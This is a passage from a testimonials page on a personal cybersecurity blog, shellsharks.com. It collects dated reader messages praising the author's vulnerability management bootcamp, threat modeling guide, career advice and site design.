  &lt;p&gt;Scrolling through and reading posts on the r/cybersecurity subreddit on Reddit, I came across with one of your comments. From there I clicked onto your resume link on shellsharks and spent the last hour reading your educational background. I am newly transitioning careers into the tech world and I can already see myself referencing the information and advice you’ve put together. Thank you!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Lander (&lt;em&gt;4/18/25&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Just stumbled across a comment on the /Cybersecurity Reddit where you linked your Shellsharks website. I must say what a big resource and for that I wanted to briefly thank you personally.&lt;/p&gt;

  &lt;p&gt;…So once again a big thank you and I will be definitely will be using your website as a companion in landing a more specialized vulnerability management role!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Philipp (&lt;em&gt;4/9/25&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Thanks for putting out so much great content, I really enjoy reading from you and find myself quite regularly exploring your site.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Ruben (&lt;em&gt;4/9/25&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;I’m very grateful to all those great people with fun personal websites who inspired me to bring my own site back to life. There are too much to list, but special thanks to @shellsharks…&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Arjun (&lt;em&gt;4/4/25&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;I just wanted to reach out and say a big thank you. Your work on Shellsharks and especially your article on &lt;a href=&quot;https://shellsharks.com/you-should-blog&quot;&gt;why people should blog&lt;/a&gt;. It pushed me to finally start my own blog—even though it’s super basic right now and nowhere near as cool as Shellsharks!&lt;/p&gt;

  &lt;p&gt;I’ve built this space to share my work, explore interesting cyber threats, and document my learnings. My goal over the next few months is to stay consistent, keep improving the site, and use it as a platform to grow and contribute to the community.&lt;/p&gt;

  &lt;p&gt;It’s been a great learning experience so far, and I owe a lot of that inspiration to you…&lt;/p&gt;

  &lt;p&gt;Thanks again for doing what you do—it genuinely sparked something for me.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Franklin (&lt;em&gt;3/27/25&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Wanted to write a quick note and say thank you for the time, effort, and thoughtfulness you put into the &lt;a href=&quot;https://shellsharks.com/vm-bootcamp&quot;&gt;Vulnerability Management Bootcamp&lt;/a&gt;.&lt;/p&gt;

  &lt;p&gt;I’ve been trying to break into the security space for a few years now. I worked my way up from a desktop support intern to a senior analyst and earned a few certifications along the way—but I never quite had the opportunity to pivot into a full-time security role. At times, I honestly questioned whether the field was just too saturated or if IT folks simply weren’t being given a shot in CyberSec.&lt;/p&gt;

  &lt;p&gt;Then I came across your course. I took my time and went through it thoroughly in preparation for a Security Analyst interview with a Vulnerability Management team. The bootcamp gave me so much confidence heading into the interview and it also gave me so many things to talk about. Long story short, I was able to impress the panel and I just received a job offer today – my first CyberSec role. I look forward to checking your content more and more.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Nakul (&lt;em&gt;3/14/25&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;I came across your blog (Shellsharks) while I was browsing the web for cybersec resources I found it quite insightful.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Kai (&lt;em&gt;3/7/25&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;also, your website is flipping awesome. Subscribed!&lt;/p&gt;

  &lt;p&gt;Also, I might be stealing some ideas for my own site eventually 🙈&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Tyler (&lt;em&gt;3/5/25&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;I’m Tyler, an infosec enthusiast working toward a career in the field. I came across your blog a month or so ago while researching inspiration for my own portfolio and blog. I loved the site theme and found your content incredibly interesting and engaging.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;On (&lt;em&gt;3/5/25&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;For real, give @shellsharks@shellsharks.social a follow. Always good stuff.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Himanshu (&lt;em&gt;3/4/25&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;…Great work and I appreciate the work and the amount of effort you have taken to make one…&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Zak (&lt;em&gt;3/3/25&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Your website is absolute killer. You’ve got the absolute knack for linking resources to relevant things, whilst keeping the momentum of the message you’re writing. I usually have CTRL held down as I read and click as I go. I always prepare myself for some rabbit-hole when your posts appear in my RSS feed. Your hyper(space)link travel post is an inspiration. I love a well-linked site so hopefully some others pick up the nudge too. I am meaning to do a similar post in the near future.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Phillip (&lt;em&gt;2/28/25&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;love your scrolls newsletter 😍 . Always so much to discover.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Moahmed (&lt;em&gt;2/24/25&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;I just want to say your indie blog website, https://shellsharks.com, has been a big inspiration for me and has helped me gain a huge amount of insight. It inspired me so much, I actually made my own indie blog website.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Jeffrey (&lt;em&gt;2/24/25&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;And your website is really cool, which must indicate that its owner is also really cool! I will add it to my indieroll ^_^&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From John (&lt;em&gt;2/20/25&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;I love &lt;a href=&quot;https://shellsharks.com/devlog/shark-fin-hr&quot;&gt;this&lt;/a&gt;! Such a neat touch of personality.&lt;/p&gt;

  &lt;p&gt;Bravo, Poseidon or Aquaman or somethin’.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From John (&lt;em&gt;2/18/25&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;as an aside, I continue to be enamoured with your site. Its such a clean design and layout, with a focus on text readability, along with having a fantastic wealth of information on it.&lt;/p&gt;

  &lt;p&gt;I also love that it’s a static-generated site and not $blog_platform. I’ve tried so many times to investigate static site generators, but could never close the gap between ease of use and ease of use and aesthetic.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Ishmael M. (&lt;em&gt;2/18/25&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hi Michael! I’ve been reading your Shellsharks blog posts and there are some great gems in there. It’s been great reading them.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Hedy (&lt;em&gt;2/18/25&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;I love the design of your site, and even moreso the thorough overview of its architecture. You’ve been added to the webring, welcome!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Arjun T. (&lt;em&gt;2/18/25&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hello Michael, 
It feels honoured to be connected. I have no questions or the need to ask for advice from you. Just wanted to tell you, I am a huge fan of shellsharks. A huge fan. I have been checking out the site for a long time and only today I visited to about page and found you. From a reddit comment. I went “AHHH NO WAYYY! IT IS HIMM” Love your work. Keep doing it. Keep inspiring us.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Bob (&lt;em&gt;2/13/25&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;I love it! I like how you’ve “surfaced” recent posts, notes, etc. The old design is also great, but I think you’ve taken it up a notch or two with this one. Nice work!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Eliezer G. (&lt;em&gt;1/3/25&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Here from shellsharks amazing stuff !&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From AK H. (&lt;em&gt;11/10/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;My name is A.K., and I currently work as a systems administrator for the University of Maryland’s helpdesk, a position I’ve held for several years. I’m now exploring a transition into the vulnerability management and information security industry, and I wanted to express my sincere appreciation for the resources you’ve shared in the VM Bootcamp and the Shell Sharks podcast.&lt;/p&gt;

  &lt;p&gt;Your bootcamp content and podcast discussions have been an incredible guide as I consider this shift. I’m grateful for the clarity and depth you provide, which are especially valuable for someone new to the field. I did notice that the bootcamp was published in April 2021, and I’d love to hear if you feel the guidance you’ve shared remains current or if there are updates or additional resources you’d recommend.&lt;/p&gt;

  &lt;p&gt;Thank you again for your commitment to helping people like me enter this field with confidence. I look forward to any advice you may have!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From James F. (&lt;em&gt;10/21/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hi Michael, I found your insights on Shellsharks.com very helpful and would like to use them for a career exploration assignment. I’d love to connect and explore your work further. Thanks!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Sahil S. (&lt;em&gt;10/8/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;I came across your blog ShellSharks from one of your Reddit replies and it rocks … Would love to connect with you.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Martin I. (&lt;em&gt;10/7/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Just wanted to drop a note to say I enjoy the blog and site in general. Greetings from Switzerland&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Pete M. (&lt;em&gt;10/6/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Your website continues to be one of my favourites out of the 300+ I follow in my RSS…&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Andrew K. (&lt;em&gt;9/29/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hi Michael,
 I found your LinkedIn via your site. Just a note to say thank very much for your wise, insightful, fair, and constructive comments you post on Reddit. much appreciated! Best,&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Imri A. (&lt;em&gt;9/28/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;I recently came across your website and was impressed by your content. I would love to explore potential collaboration opportunities with you.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Josh W. (&lt;em&gt;9/18/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;I was doing some research to find good resources for newbies into VM and Reddit pointed me to your write up on Shellsharks. Thank you for putting the time into this content!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Justin K. (&lt;em&gt;9/18/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hey, I saw your post on Reddit about setting up a profile website, and your looked really good so I thought I’d drop a line! Killer work btw! if your ever interested in having a IOT person on the show let me know :-D&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Jason K. (&lt;em&gt;9/12/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Thank you for https://shellsharks.com/, it has been incredibly insightful and interesting to read; especially the vulnerability management advice!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Pratik L. (&lt;em&gt;9/12/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Big fan of shellsharks.com 
Awesome work🎉&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Oleksii A. (&lt;em&gt;8/20/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hi Michael,
i’ve been reading shellsharks for a while. Really like how structured information on your site is. Enjoying every article. Will be happy to add you to my network.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Jacob L. (&lt;em&gt;8/13/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Saw your “Getting into Information Security” post on Shellsharks. Solid work.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Flavian M. (&lt;em&gt;7/18/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hi! Would like to connect! Will you finish your CIS top 20 post? Amazing work.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Jason N. (&lt;em&gt;6/26/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Your post about threat modeling is awesome. I learned a lot from it.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Bibash R. (&lt;em&gt;6/24/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;I just came to connect to say I’ve been reading a few of your blogs on shellsharks and really enjoy the content you put out!&lt;/p&gt;

  &lt;p&gt;Special favourite to the InfoSec tools you use to gauge the sorts of tools professionals like your self uses, but to be honest I was very surprised at the vast quantity of tools you use for each sector!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From William I. (&lt;em&gt;5/29/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hi Mike, how are you? 
I came across shellsharks.com while surfing the net few days ago. I thought your write ups were cool and informative, hence the connection.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Shakar M. (&lt;em&gt;5/27/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Great connecting with you. I just wanted to send a thank you note for all the stuff you put out from the podcast to the blogs. They are really helpful for someone who is starting out.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Veronica G. (&lt;em&gt;5/21/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Just came across your shellsharks site as I try to make a career pivot. Phenomenal content there!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Noah P. (&lt;em&gt;4/21/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;I came across your website “shellsharks.com” in a reddit thread while researching best ways to create a cyber security e-portfolio. You have some great material on your website!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Daanish A. (&lt;em&gt;4/2/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hi! I found your LinkedIn while reading your infosec playbook. It’s a really great resource, thank you so much! I’m playing on using it to help me get an internship and hopefully land a job in pen testing!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Justin B. (&lt;em&gt;3/29/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Thank you for your amazing website. I’m working onto my journey of infosec &amp;amp; threat hunting. I’m glad you made a blog of your journey and understanding.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Sahil U. (&lt;em&gt;3/28/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Found your website while searching for topics related to my studies. Will give your podcast a listen today.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From James A. (&lt;em&gt;3/24/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hi Michael, I came across your website when searching for cybersecurity blogs. And when I began to read more about you, I was intrigued and wanted to reach out and introduce myself. I am starting out in cybersecurity and looking for a mentor, is that weird to ask? All the best, J-A&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;When that &lt;a href=&quot;https://www.tiktok.com/@/video/7340729475618884895&quot;&gt;TikTok&lt;/a&gt; happened…&lt;/strong&gt; (from Marc David (3/5/24) - “&lt;em&gt;It is and the entire site is an amazing resource.  So far it’s one of my best performing TikTok videos.  It’s really useful content.&lt;/em&gt;”)&lt;/p&gt;

&lt;p&gt;From Kennedy K. (&lt;em&gt;3/11/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Came accross the shellshark site on tiktok and decide to dive a bit deeper and conect with you since I have an interest in Cyber Security. Thanks&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Hendrik E. (&lt;em&gt;7/11/23&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hey Michael, thanks a lot for your https://shellsharks.com/threat-modeling post. I do ID³ all the time. ;-p I like threat modeling a lot and am looking for exchange. Let’s connect! Hendrik&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Syed I. (&lt;em&gt;3/11/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Respected Sir, I am lucky to find your website, and that brought me here. I would be honored to get connected with you. I seek your mentorship.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Romano E. (&lt;em&gt;3/11/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hey Michael, I saw your post on Reddit about where to find other infosec communities and gave me that boost of confidence I needed! Thank you.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Daniel K. (&lt;em&gt;3/7/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;I stumbled across shellsharks.com while researching how to break into cyber security. Love the content!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Rafael M. (&lt;em&gt;3/4/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;I saw a video on your website! by ByteSizedSecurity on tiktok! just following the steps lol on your steps ! Thank You for making this website!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Refiloe M. (&lt;em&gt;3/1/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;just discovered your blog btw genius brother, I am trying to get into digital marketing and i am stealing the technique you used here to put yourself out there much respects for the creativity&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Natth M. (&lt;em&gt;2/27/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hi, Really enjoy shellsharks thanks for your work!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Miguel L. (&lt;em&gt;8/7/22&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hi Michael! I stumbled upon your blog and realized that you did some research on threat modelling. I’m also interested in the field (currently working on a (yet) another methodology), so I would love to connect with you and share ideas on this and other Cyber Security topics. Kind Regards, Miguel.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From AJ (&lt;em&gt;1/7/24&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hi Mike, thanks for connecting. I came across your 2019 article and wanted to thank for putting it together. https://shellsharks.com/getting-into-information-security Happy New year!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From John W. (&lt;em&gt;12/11/23&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Good morning Michael, found out about you through Reddit! I found your website site quite awesome and inspiring! I wanted to connect with you and seek out some mentorship as prepare to pivot careers!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Samir A. (&lt;em&gt;11/6/23&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hi Michael, I found your website via Reddit, awesome content. &lt;em&gt;…&lt;/em&gt; how did you create your website? Mine is not posted yet… (HTML/CSS/JS)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Brei W. (&lt;em&gt;11/14/23&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Good afternoon, I randomly ran across your website “shellsharks.com” from a reddit post. I am currently a cyber security student in VA and I was wondering if there is any advice you could give me as I close in on my undergraduate career.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Clint G. (&lt;em&gt;10/16/23&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hey! I enjoyed your list of “designer vulnerabilities,” thanks for sharing. Cheers!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Matt W. (&lt;em&gt;10/13/23&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hey man, I’m sure you get this alot, but still wanted to pass along my appreciation for the effort you put in that VM boot camp. Very helpful!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Brian B. (&lt;em&gt;9/3/23&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hey Michael, I couldn’t send a message without connecting (LinkedIn restriction I guess?). I stumbled across shellsharks a few days ago and was really impressed with the level of effort you have put into the content and design. The nostalgia of indie-blogging is real. Nice work and all the best. - Brian&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Mehdi B. (&lt;em&gt;9/18/23&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Dear Michael, 
I hope you are doing well,
I found your profile by passing trough your blog post on threat modeling. First I want to thank you from the bottom of my heart, It is clearly the best ressource of threat modeling on the net. 
I want also to ask you if as you stated on the post, you plan to provide an example of your ID3 way to do threat model? It could be really helpful for me as I am doing threat modeling in my daily basis. Also if you have anything that details more your ID3 methodoloy, for example a more detailled scheme than the one on your blog I would really be interested. 
Many thanks in advance,
Mehdi&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Ayres N. (&lt;em&gt;9/22/23&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Stumbled upon your post about a portfolio for cybersecurity on reddit. Like your work and look to learn from you further.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Preston K. (&lt;em&gt;10/3/23&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hi Michael. I read your post at &lt;a href=&quot;https://www.reddit.com/r/cybersecurity/comments/11emt8m/whats_a_day_in_the_life_of_an_application/&quot;&gt;https://www.reddit.com/r/cybersecurity/comments/11emt8m/whats_a_day_in_the_life_of_an_application/&lt;/a&gt; and followed it to your site. I’m looking to make a move to appsec engineering and I’m training myself up at the moment. Just wanted to connect and say hi.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Felicia G. (&lt;em&gt;8/22/23&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;I recently came across your portfolio, shellsharks.com after Googling ‘cybersecurity portfolios.’ Yours looks good. Let’s keep in touch!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Laorenz M. (&lt;em&gt;7/26/23&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;I stumbled upon your website when I was looking for cybersecurity portfolios. I just started my CS journey and I got a lot more motivated thanks to you! You’re awesome!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Seth C. (&lt;em&gt;7/12/23&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Thank you for accepting my connection request! I’ve been reading through your “getting started in Infosec” article on your website - I really appreciate the collection of information! Thank you for your advice &amp;amp; making your collection of resources available!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Diego Arteago (&lt;em&gt;6/27/23&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;I just spent a few hours binge reading shellsharks.com posts. Thanks for being a mentor!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Nihil D. (&lt;em&gt;6/25/23&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hey man I saw your 5 year infosec blog get posted on reddit &lt;a href=&quot;https://www.reddit.com/r/GIAC/comments/14ikgy5/need_some_help_with_sans_courses/&quot;&gt;https://www.reddit.com/r/GIAC/comments/14ikgy5/need_some_help_with_sans_courses/&lt;/a&gt; and enjoyed your blog. I am originally from the NoVA area and am trying to go there after my stint in the USAF is done next year.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Tyler W. (&lt;em&gt;6/6/23&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Found you through your threat modeling guide on your website. You’re a badass, my man.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Sohail E. (&lt;em&gt;2/21/23&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Thanks a ton for connecting with me. I just wanted to drop a quick note to say how excited I am to know that you’ve your own podcast! I just realized this now. I can’t wait to give it a listen and hear all the amazing things you’re sharing.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Todd M. (&lt;em&gt;2/12/23&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;I have been following your blog and Reddit posts for a while now. Keep up the great work! Your breaking into Infosec post and roadmap has been instrumental in helping me navigate my own career path. Thanks again.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Mike C. (&lt;em&gt;11/27/22&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;…I was on a road trip home (through the DC area, ironically) when I came across a post you had made to Reddit that linked to your experience with JHU (very informative! Thank you!). I’ve been looking through Shellsharks all evening and found a link to your LinkedIn and figured, why not!&lt;/p&gt;

  &lt;p&gt;It’s a pleasure to have made a connection with you. Have a great evening!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Robert V.(&lt;em&gt;9/17/22&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hey Michael! We spoke briefly last year when you shared some AppSec learning resources with me via email. I’m a big fan of your blog and would love to connect!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Willie N. (&lt;em&gt;10/11/22&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;I found your blog recently while searching for Threat Modelling resources and was impressed with the content of your posts.&lt;/p&gt;

  &lt;p&gt;I would like to connect with you to follow any future content that you might release.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Ilia A. (&lt;em&gt;9/9/22&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hi Mike, I’ve been reading over your InfoSec playbook. Great stuff, thanks for putting it together!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Niklas J. (&lt;em&gt;8/28/22&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hi man,&lt;/p&gt;

  &lt;p&gt;I don’t know you, any you don’t know me.
But I just want to let know that I really enjoy your blog, thanks and keep it up :)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Robin L. (&lt;em&gt;8/2/22&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hi Michael, I posted regarding your “Enchiridion” and tagged you in the post, but your name keeps dropping off for some reason. Anyway I really like the piece and your website and hope we can connect. Did you have a classical education btw? Best regards, Robin&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Darrius R. (&lt;em&gt;7/25/22&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hey Michael, just wanted to reach out for a connection. I wanted to let you know that I am interested in vulnerability management and I was looking at your blog! It has some great stuff for anybody looking to get into the industry !&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From John K. (&lt;em&gt;4/3/22&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Dear Michael, Follow your articles on shellshark, all absolute gold. Look forward to connect and associate with you. And learn from your experience and knowledge. Rgds, John&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From B J B. (&lt;em&gt;1/29/22&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Just stumbled on your website via Reddit. One word……..AWESOME! I’m steering into the cyber arena and I’m freshly starting out. Please continue the quality work.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Will B. (&lt;em&gt;11/9/21&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hi Michael, I’m a big fan of your blog. It would be my honor to have you in my network.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Michael A. (&lt;em&gt;11/5/21&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hey Mike, I saw your website with you reviewing all the training you have been in, which SANS course would you say is your favorite? I’ve taken maybe 7 classes and most are hit or miss.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Lee T. (&lt;em&gt;7/7/21&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Just read your blog and great job on the content, I particularly like the section about the trainings and certifications to avoid, since I was looking at a few of the SANS courses to take next. However, the Wireless Pentesting course in your write up sounds awesome. Great work on the blog!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Cameron S. (&lt;em&gt;6/4/21&lt;/em&gt;)&lt;/p&gt;
